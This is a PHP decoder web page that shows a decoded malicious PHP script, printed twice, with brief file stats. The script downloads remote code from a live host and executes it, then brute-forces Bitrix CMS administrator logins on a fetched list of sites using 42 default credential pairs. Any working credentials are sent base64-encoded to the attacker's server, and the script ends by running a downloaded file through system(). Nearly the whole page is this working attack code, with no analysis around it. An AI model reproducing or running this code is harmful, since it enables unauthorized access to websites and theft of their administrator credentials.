Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ini_set('max_execution_time',0); ini_set('memory_limit', '512M'); date_default_ti..

Decoded Output download

<?php 
ini_set('max_execution_time',0); 
ini_set('memory_limit', '512M'); 
date_default_timezone_set('Europe/Kiev'); 
function http_get_contents($url) { 
//	$codex = @file_get_contents($url); 
//	if (empty($codex)) { 
		$ch = curl_init(); 
		curl_setopt($ch, CURLOPT_URL, $url); 
//		curl_setopt($ch, CURLOPT_HEADER, true); 
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); 
		curl_setopt($ch, CURLOPT_TIMEOUT, 30); 
		$urlPage = curl_exec($ch); 
		curl_close($ch); 
		return($urlPage); 
//	} 
//	else { 
//		return $codex; 
//	} 
} 
file_put_contents(basename(__FILE__),http_get_contents('http://btc.automatika.mx/st/get_cms1.txt')); 
file_put_contents('list.txt',http_get_contents('http://btc.automatika.mx/st/list.txt')); 
file_put_contents('roll.txt',http_get_contents('http://btc.automatika.mx/st/roll.txt')); 
file_put_contents('angry.txt',http_get_contents('http://btc.automatika.mx/st/angry.txt')); 
require_once('roll.txt'); 
require_once('angry.txt'); 
file_put_contents('get_cms1.txt', http_get_contents('http://btc.automatika.mx/get_cms1.php')); 
function callback_function($response, $info, $request) { 
	if (strpos($response, "BX.AUTHAGENT.setAuthResult") !== false) { 
		parse_str($request->post_data, $output); 
		$login = $output['USER_LOGIN']; 
		$password = $output['USER_PASSWORD']; 
		echo PHP_EOL . " ===================== ok: =====================  " . $info['url'] . " - " . $login . ":" . $password . "" . PHP_EOL; 
		http_get_contents('http://btc.automatika.mx/cms1.php?we='.base64_encode($info['url']).'&fe='.base64_encode('inc.class.cms.1.php').'&cm='.base64_encode('1').'&sl='.base64_encode($login).'&sp='.base64_encode($password)); 
		goto end; 
	} 
	end: 
	return; 
} 
$AC = new AngryCurl('callback_function'); 
//$AC->init_console(); 
$AC->load_useragent_list('list.txt'); 
$f = fopen('get_cms1.txt', 'r'); 
while(!feof($f)) { 
	$url = trim(fgets($f)); 
	$parse = parse_url($url); 
	$users[1]['login'] = 'admin';			$users[1]['password'] = '123456'; 
	$users[2]['login'] = 'admin';			$users[2]['password'] = 'Bitrix*123456'; 
	$users[3]['login'] = 'admin';			$users[3]['password'] = 'adminadmin'; 
	$users[4]['login'] = 'admin';			$users[4]['password'] = 'admin123'; 
	$users[5]['login'] = 'bitrix';			$users[5]['password'] = 'bitrix'; 
	$users[6]['login'] = 'admin';			$users[6]['password'] = '111111'; 
	$users[7]['login'] = 'admin';			$users[7]['password'] = '123123'; 
	$users[8]['login'] = 'admin1';			$users[8]['password'] = '123456'; 
	$users[9]['login'] = 'admin';			$users[9]['password'] = '1234567890'; 
	$users[10]['login'] = 'admin2';			$users[10]['password'] = '123456'; 
	$users[11]['login'] = 'admin2';			$users[11]['password'] = 'admin2'; 
	$users[12]['login'] = 'admin';			$users[12]['password'] = '123456789'; 
	$users[13]['login'] = 'bitrix';			$users[13]['password'] = '123456'; 
	$users[14]['login'] = 'admin';			$users[14]['password'] = 'qwerty'; 
	$users[15]['login'] = 'support';		$users[15]['password'] = '123456'; 
	$users[16]['login'] = 'admin1';			$users[16]['password'] = 'admin1'; 
	$users[17]['login'] = 'bitrix';			$users[17]['password'] = 'bitrix123'; 
	$users[18]['login'] = 'admin';			$users[18]['password'] = 'qwerty123'; 
	$users[19]['login'] = 'admin';			$users[19]['password'] = 'password'; 
	$users[20]['login'] = 'administrator';	$users[20]['password'] = 'administrator'; 
	$users[21]['login'] = 'admin';			$users[21]['password'] = '1q2w3e4r'; 
	$users[22]['login'] = 'admin';			$users[22]['password'] = '123321'; 
	$users[23]['login'] = 'administrator';	$users[23]['password'] = '123456'; 
	$users[24]['login'] = 'admin';			$users[24]['password'] = '12345678'; 
	$users[25]['login'] = 'admin';			$users[25]['password'] = '123qwe'; 
	$users[26]['login'] = 'admin';			$users[26]['password'] = '159753'; 
	$users[27]['login'] = 'admin';			$users[27]['password'] = '1qaz2wsx'; 
	$users[28]['login'] = 'demo';			$users[28]['password'] = 'demo123'; 
	$users[29]['login'] = 'test';			$users[29]['password'] = '123456'; 
	$users[30]['login'] = 'test';			$users[30]['password'] = 'test123'; 
	$users[31]['login'] = 'content';		$users[31]['password'] = 'content'; 
	$users[32]['login'] = 'manager';		$users[32]['password'] = 'manager'; 
	$users[33]['login'] = 'tester';			$users[33]['password'] = 'tester'; 
	$users[34]['login'] = 'tester';			$users[34]['password'] = '123456'; 
	$users[35]['login'] = 'manager';		$users[35]['password'] = '123456'; 
	$users[36]['login'] = 'content';		$users[36]['password'] = '123456'; 
	$users[37]['login'] = 'master';			$users[37]['password'] = 'master'; 
	$users[38]['login'] = 'support';		$users[38]['password'] = 'support'; 
	$users[39]['login'] = 'editor';			$users[39]['password'] = 'editor'; 
	$users[40]['login'] = 'manager';		$users[40]['password'] = 'manager123'; 
	$users[41]['login'] = 'content';		$users[41]['password'] = 'content123'; 
	$users[42]['login'] = 'editor';			$users[42]['password'] = '123456'; 
	$i=1; 
	while($i<42) { 
		$post_par = "backurl=%2F&AUTH_FORM=Y&TYPE=AUTH&USER_LOGIN=" . $users[$i]['login'] . "&USER_PASSWORD=" . $users[$i]['password'] . "&Login=%D0%92%D0%BE%D0%B9%D1%82%D0%B8"; 
		$AC->post($url, $post_par); 
		$i++; 
	} 
} 
$AC->execute(30); 
unlink('get_cms1.txt'); 
system('php inc.class.cms.1.php'); 
?> 
 

Did this file decode correctly?

Original Code

<?php
ini_set('max_execution_time',0);
ini_set('memory_limit', '512M');
date_default_timezone_set('Europe/Kiev');
function http_get_contents($url) {
//	$codex = @file_get_contents($url);
//	if (empty($codex)) {
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
//		curl_setopt($ch, CURLOPT_HEADER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
		curl_setopt($ch, CURLOPT_TIMEOUT, 30);
		$urlPage = curl_exec($ch);
		curl_close($ch);
		return($urlPage);
//	}
//	else {
//		return $codex;
//	}
}
file_put_contents(basename(__FILE__),http_get_contents('http://btc.automatika.mx/st/get_cms1.txt'));
file_put_contents('list.txt',http_get_contents('http://btc.automatika.mx/st/list.txt'));
file_put_contents('roll.txt',http_get_contents('http://btc.automatika.mx/st/roll.txt'));
file_put_contents('angry.txt',http_get_contents('http://btc.automatika.mx/st/angry.txt'));
require_once('roll.txt');
require_once('angry.txt');
file_put_contents('get_cms1.txt', http_get_contents('http://btc.automatika.mx/get_cms1.php'));
function callback_function($response, $info, $request) {
	if (strpos($response, "BX.AUTHAGENT.setAuthResult") !== false) {
		parse_str($request->post_data, $output);
		$login = $output['USER_LOGIN'];
		$password = $output['USER_PASSWORD'];
		echo PHP_EOL . " ===================== ok: =====================  " . $info['url'] . " - " . $login . ":" . $password . "" . PHP_EOL;
		http_get_contents('http://btc.automatika.mx/cms1.php?we='.base64_encode($info['url']).'&fe='.base64_encode('inc.class.cms.1.php').'&cm='.base64_encode('1').'&sl='.base64_encode($login).'&sp='.base64_encode($password));
		goto end;
	}
	end:
	return;
}
$AC = new AngryCurl('callback_function');
//$AC->init_console();
$AC->load_useragent_list('list.txt');
$f = fopen('get_cms1.txt', 'r');
while(!feof($f)) {
	$url = trim(fgets($f));
	$parse = parse_url($url);
	$users[1]['login'] = 'admin';			$users[1]['password'] = '123456';
	$users[2]['login'] = 'admin';			$users[2]['password'] = 'Bitrix*123456';
	$users[3]['login'] = 'admin';			$users[3]['password'] = 'adminadmin';
	$users[4]['login'] = 'admin';			$users[4]['password'] = 'admin123';
	$users[5]['login'] = 'bitrix';			$users[5]['password'] = 'bitrix';
	$users[6]['login'] = 'admin';			$users[6]['password'] = '111111';
	$users[7]['login'] = 'admin';			$users[7]['password'] = '123123';
	$users[8]['login'] = 'admin1';			$users[8]['password'] = '123456';
	$users[9]['login'] = 'admin';			$users[9]['password'] = '1234567890';
	$users[10]['login'] = 'admin2';			$users[10]['password'] = '123456';
	$users[11]['login'] = 'admin2';			$users[11]['password'] = 'admin2';
	$users[12]['login'] = 'admin';			$users[12]['password'] = '123456789';
	$users[13]['login'] = 'bitrix';			$users[13]['password'] = '123456';
	$users[14]['login'] = 'admin';			$users[14]['password'] = 'qwerty';
	$users[15]['login'] = 'support';		$users[15]['password'] = '123456';
	$users[16]['login'] = 'admin1';			$users[16]['password'] = 'admin1';
	$users[17]['login'] = 'bitrix';			$users[17]['password'] = 'bitrix123';
	$users[18]['login'] = 'admin';			$users[18]['password'] = 'qwerty123';
	$users[19]['login'] = 'admin';			$users[19]['password'] = 'password';
	$users[20]['login'] = 'administrator';	$users[20]['password'] = 'administrator';
	$users[21]['login'] = 'admin';			$users[21]['password'] = '1q2w3e4r';
	$users[22]['login'] = 'admin';			$users[22]['password'] = '123321';
	$users[23]['login'] = 'administrator';	$users[23]['password'] = '123456';
	$users[24]['login'] = 'admin';			$users[24]['password'] = '12345678';
	$users[25]['login'] = 'admin';			$users[25]['password'] = '123qwe';
	$users[26]['login'] = 'admin';			$users[26]['password'] = '159753';
	$users[27]['login'] = 'admin';			$users[27]['password'] = '1qaz2wsx';
	$users[28]['login'] = 'demo';			$users[28]['password'] = 'demo123';
	$users[29]['login'] = 'test';			$users[29]['password'] = '123456';
	$users[30]['login'] = 'test';			$users[30]['password'] = 'test123';
	$users[31]['login'] = 'content';		$users[31]['password'] = 'content';
	$users[32]['login'] = 'manager';		$users[32]['password'] = 'manager';
	$users[33]['login'] = 'tester';			$users[33]['password'] = 'tester';
	$users[34]['login'] = 'tester';			$users[34]['password'] = '123456';
	$users[35]['login'] = 'manager';		$users[35]['password'] = '123456';
	$users[36]['login'] = 'content';		$users[36]['password'] = '123456';
	$users[37]['login'] = 'master';			$users[37]['password'] = 'master';
	$users[38]['login'] = 'support';		$users[38]['password'] = 'support';
	$users[39]['login'] = 'editor';			$users[39]['password'] = 'editor';
	$users[40]['login'] = 'manager';		$users[40]['password'] = 'manager123';
	$users[41]['login'] = 'content';		$users[41]['password'] = 'content123';
	$users[42]['login'] = 'editor';			$users[42]['password'] = '123456';
	$i=1;
	while($i<42) {
		$post_par = "backurl=%2F&AUTH_FORM=Y&TYPE=AUTH&USER_LOGIN=" . $users[$i]['login'] . "&USER_PASSWORD=" . $users[$i]['password'] . "&Login=%D0%92%D0%BE%D0%B9%D1%82%D0%B8";
		$AC->post($url, $post_par);
		$i++;
	}
}
$AC->execute(30);
unlink('get_cms1.txt');
system('php inc.class.cms.1.php');
?>

Function Calls

None

Variables

None

Stats

MD5 144976989325de9440346a7f16ee80fa
Eval Count 0
Decode Time 109 ms